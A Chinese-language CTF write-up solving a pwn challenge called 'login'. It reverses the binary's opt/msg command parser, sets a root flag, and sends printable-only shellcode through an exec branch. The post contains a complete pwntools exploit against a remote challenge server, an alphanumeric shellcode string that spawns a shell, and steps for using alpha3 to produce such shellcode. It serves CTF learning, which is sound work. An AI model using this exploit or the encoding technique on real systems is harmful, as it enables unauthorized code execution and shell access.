保护

ida
main

发现就一个init和vuln,然后vuln能够反复执行一个,并且每次执行前都传入一个字符串,然后操作是基于这个字符串的
vuln

发现里面有一个循环,循环什么呢?

检测了一下opt和msg,稍加思考是option和messege两个英文的缩写,也就是选择和信息。
先看option:

发现option那里atoi的v7就是这里的选择,那message呢?

红色箭头处有一个把消息复制到一个名为dest的堆块中,而后面的switch是对这个dest进行操作的
那么我们就可以知道了,option是选择后面的switch,message是指定switch的操作的参数(当然while里卖面内部的细节还规定了写option和message的格式,这里不赘述,下贴一下具体格式):
option:num
message:string
pd='optin:num\nmessage:string\n.....'+'\n\n' ##这个是python脚本的写法,最后俩'\n'是为了停下while循环)
switch

看到exec,就很高兴了,因为有一个传shellcode的接口
但是别高兴太早,有俩个约束:
(1)方框处要求shellcode必须使用可打印字符
(2)箭头处有个暂时不知道是啥的全局变量必须为1的要求
对于(1),我们使用github上下载的一个叫alpha3的轮子,它能够将shelllcraft转为可视化字符(具体用法贴文末)
对于(2)我们细看get_root函数

这个函数的功能就是把满足exec中的(2),那么我们只需要option:1\nmessage:ro0t\n\n就行了
exp
from pwn import *
context.log_level='debug'
context.arch = 'amd64'
context.os = 'linux'
def z(r):
gdb.attach(r)
def exp():
##r=process('./login')
r=remote('101.201.144.12',41700)
pd='opt:1\nmsg:ro0t"\n\n\n'
##z(r)
r.sendafter(">>> ",pd)
shellcode='Rh0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a071N00'
pd='opt:2\nmsg:'+ shellcode+'"'+'\n\n\n\n'
##z(r)
r.sendafter(">>> ",pd)
r.interactive()
if __name__=='__main__':
exp()
alpha3用法
alpha3能够把我们的asm字符转换为全是可打印字符,在pwn题中的作用就是来搞isprintf()约束下的shellcode
下载
git clone https://github.com/TaQini/alpha3.git
整合脚本
# sc.py
from pwn import *
context.arch='amd64'
shellcode = shellcraft.sh()
print asm(shellcode)
使用定向输出到文本
python sc.py > sc
使用alpha3
python ./alpha3/ALPHA3.py x64 ascii mixedcase rdx --input="sc"

注意这里的寄存器是因题而异的,比如这道题

是call rdx那就是rdx
参考博客
【CTF题解-0x03】moeCTF2020-partial official write up by arttnba3 | arttnba3’s blog